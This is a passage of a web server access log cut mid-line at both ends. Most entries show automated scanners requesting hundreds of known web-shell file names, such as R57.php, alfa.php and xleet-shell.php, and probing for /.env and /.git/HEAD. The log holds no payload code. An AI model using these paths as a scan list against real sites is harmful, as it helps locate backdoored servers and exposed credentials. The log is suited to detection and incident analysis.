Mobile/15E148 Safari/604.1" 68.219.113.135 - - [19/Feb/2026:16:27:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 87.106.213.199 - - [19/Feb/2026:16:57:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 94.26.106.114 - - [19/Feb/2026:17:40:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 20.111.44.121 - - [19/Feb/2026:19:03:21 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 162.142.125.211 - - [19/Feb/2026:19:08:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 66.249.79.161 - - [19/Feb/2026:20:23:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.161 - - [19/Feb/2026:20:22:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.173 - - [19/Feb/2026:20:38:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 182.42.105.85 - - [19/Feb/2026:20:26:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.167.241.46 - - [19/Feb/2026:20:27:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.79.173 - - [19/Feb/2026:20:39:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 20.27.221.169 - - [19/Feb/2026:22:51:29 +0300] "GET /ahcc.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:52:12 +0300] "GET /qowaa.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:52:43 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:38 +0300] "GET /twenty.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:57:59 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:59:37 +0300] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:00:42 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:03:27 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 198.11.183.50 - - [19/Feb/2026:22:18:43 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.27.221.169 - - [19/Feb/2026:22:52:57 +0300] "GET /.rxr.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:53:00 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:00 +0300] "GET /options-head.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:06 +0300] "GET /temdbypv.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:52 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:23 +0300] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:57:24 +0300] "GET /ki1k.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:59:09 +0300] "GET /Gecko.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:12 +0300] "GET /private.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:03:39 +0300] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 152.32.146.121 - - [19/Feb/2026:23:04:08 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.167.241.46 - - [19/Feb/2026:21:29:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 198.11.183.50 - - [19/Feb/2026:22:18:43 +0300] "GET /api2/.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.27.221.169 - - [19/Feb/2026:22:51:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:51:22 +0300] "GET /71.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:51:37 +0300] "GET /R57.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:51:57 +0300] "GET /jrxzb.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:52:04 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:52:37 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:53:31 +0300] "GET /zeal.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:44 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:54 +0300] "GET /C.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:56:33 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:57:07 +0300] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:57:54 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:58:11 +0300] "GET /Mshell.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:58:14 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:58:21 +0300] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:58:48 +0300] "GET /add.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:58:54 +0300] "GET /hrtp.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:59:22 +0300] "GET /gser.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:59:25 +0300] "GET /sad/about.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:00:04 +0300] "GET /ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:00:34 +0300] "GET /afnew.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:59 +0300] "GET /vote.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:02:35 +0300] "GET /jdimzmtaas.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:02:39 +0300] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:02:43 +0300] "GET /user_panel.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:03:19 +0300] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:51:49 +0300] "GET /vqgii.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:53:23 +0300] "GET /xmlrpc2.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:21 +0300] "GET /above.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:28 +0300] "GET /cadastro-2.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:59:32 +0300] "GET /lzmrjmgg.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:03:13 +0300] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:52:24 +0300] "GET /reyna.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:52:28 +0300] "GET /meew.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:52:31 +0300] "GET /load.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:42 +0300] "GET /xl2023x.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:56:08 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 796 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:56:08 +0300] "GET /class-walker-category-dropdown-class.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:56:59 +0300] "GET /wp_cron.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:57:37 +0300] "GET /blkdimxx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:58:40 +0300] "GET /pchgflmv.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:59:15 +0300] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:00:49 +0300] "GET /mall.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:04 +0300] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:35 +0300] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:02:27 +0300] "GET /xdqablrk.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:02:31 +0300] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:53:42 +0300] "GET /text.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:53:46 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:26 +0300] "GET /version.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:57 +0300] "GET /tfrh.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:01 +0300] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:09 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:10 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:48 +0300] "GET /cp.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:56:41 +0300] "GET /yzyol.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:57:15 +0300] "GET /cmd.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:00:26 +0300] "GET /w0.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:00:30 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:24 +0300] "GET /wsu.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:28 +0300] "GET /thesmartestx.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:02:12 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:03:02 +0300] "GET /wp-damin.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:52:18 +0300] "GET /beixl.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:53:09 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:53:52 +0300] "GET /iwpairbj.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:32 +0300] "GET /json.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:16 +0300] "GET /zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:56:18 +0300] "GET /stxdsoxv.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:56:24 +0300] "GET /fymdshrq.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:59:52 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:41 +0300] "GET /ndex.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:44 +0300] "GET /wp-plain.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:48 +0300] "GET /b0x.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:01:54 +0300] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:02:05 +0300] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:02:18 +0300] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:02:51 +0300] "GET /global.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:52:50 +0300] "GET /ovatools.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:54:16 +0300] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:55:34 +0300] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:56:49 +0300] "GET /com_search.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:57:48 +0300] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:58:32 +0300] "GET /cpabpkyk.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:22:59:01 +0300] "GET /mass.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:00:19 +0300] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 20.27.221.169 - - [19/Feb/2026:23:00:55 +0300] "GET /jlqUntRkBFci.php HTTP/1.1" 301 795 "-" "-" 146.190.142.141 - - [19/Feb/2026:23:41:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 146.190.142.141 - - [19/Feb/2026:23:41:13 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 4.188.251.0 - - [20/Feb/2026:01:05:17 +0300] "GET /eursi.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:05:27 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:05:35 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:06:11 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:06:17 +0300] "GET /cwclass.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:06:42 +0300] "GET /C1.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:06:45 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:07:48 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:08:03 +0300] "GET /knme.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:08:31 +0300] "GET /defeg.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:08:43 +0300] "GET /ws67.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:10:36 +0300] "GET /momo.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:12:09 +0300] "GET /callback.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:12:31 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:12:46 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:04:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:05:59 +0300] "GET /ppxhp.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:07:34 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:07:37 +0300] "GET /isvqf.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:11:12 +0300] "GET /xr.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:07:09 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:07:12 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:07:57 +0300] "GET /gkojz.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:08:57 +0300] "GET /ws58.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:09:32 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:09:53 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:10:02 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:06:49 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:07:22 +0300] "GET /bfasb.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:08:50 +0300] "GET /RIP.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:09:05 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:09:14 +0300] "GET /rkiea.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:10:42 +0300] "GET /ws59.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:10:57 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:12:21 +0300] "GET /106.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:12:14 +0300] "GET /41.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:07:27 +0300] "GET /utchiha_O1JFaUaF.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:09:46 +0300] "GET /utchiha_py4mE1XY.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:10:15 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:10:29 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:11:25 +0300] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:11:37 +0300] "GET /prosellers8.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:11:52 +0300] "GET /dgmry.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:12:01 +0300] "GET /clcdu.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:06:57 +0300] "GET /ws71.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:08:27 +0300] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:09:26 +0300] "GET /ws53.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:10:52 +0300] "GET /zu.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:12:39 +0300] "GET /ajax.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:05:02 +0300] "GET /all.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:05:45 +0300] "GET /whtrq.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:06:32 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:08:18 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:09:38 +0300] "GET /ckk.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [20/Feb/2026:01:12:56 +0300] "GET /ws56.php HTTP/1.1" 301 795 "-" "-" 20.100.191.215 - - [20/Feb/2026:01:19:22 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 3.83.76.234 - - [20/Feb/2026:01:51:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 20.100.191.215 - - [20/Feb/2026:01:19:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 93.158.90.67 - - [20/Feb/2026:02:28:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 14; Mobile; rv:123.0) Gecko/123.0 Firefox/123" 34.135.217.237 - - [20/Feb/2026:02:32:25 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 38.242.245.147 - - [20/Feb/2026:02:51:37 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 3.83.76.234 - - [20/Feb/2026:02:46:09 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 150.109.119.38 - - [20/Feb/2026:03:21:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.145.77 - - [20/Feb/2026:04:26:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 111.172.249.49 - - [20/Feb/2026:08:28:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 74.248.34.156 - - [20/Feb/2026:08:57:04 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:58:39 +0300] "GET /ws56.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:58:58 +0300] "GET /ws59.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:49 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:55:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 184.94.240.88 - - [20/Feb/2026:08:34:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" 74.248.34.156 - - [20/Feb/2026:08:55:18 +0300] "GET /prosellers8.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:55:21 +0300] "GET /utchiha_py4mE1XY.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:55:24 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:55:27 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:55:31 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:56:07 +0300] "GET /dgmry.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:56:54 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:15 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:55:47 +0300] "GET /bfasb.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:56:15 +0300] "GET /eursi.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:56:34 +0300] "GET /whtrq.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:56:38 +0300] "GET /rkiea.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:07 +0300] "GET /utchiha_O1JFaUaF.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:22 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:25 +0300] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:28 +0300] "GET /iov.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:55:55 +0300] "GET /clcdu.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:56:23 +0300] "GET /gkojz.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:56:26 +0300] "GET /isvqf.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:56:28 +0300] "GET /ppxhp.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:56:47 +0300] "GET /ckk.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:57:29 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:58:23 +0300] "GET /zu.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:58:27 +0300] "GET /ws53.php HTTP/1.1" 301 795 "-" "-" 184.94.240.88 - - [20/Feb/2026:08:34:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" 74.248.34.156 - - [20/Feb/2026:08:55:39 +0300] "GET /defeg.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:55:42 +0300] "GET /C1.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:57:12 +0300] "GET /106.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:57:15 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - 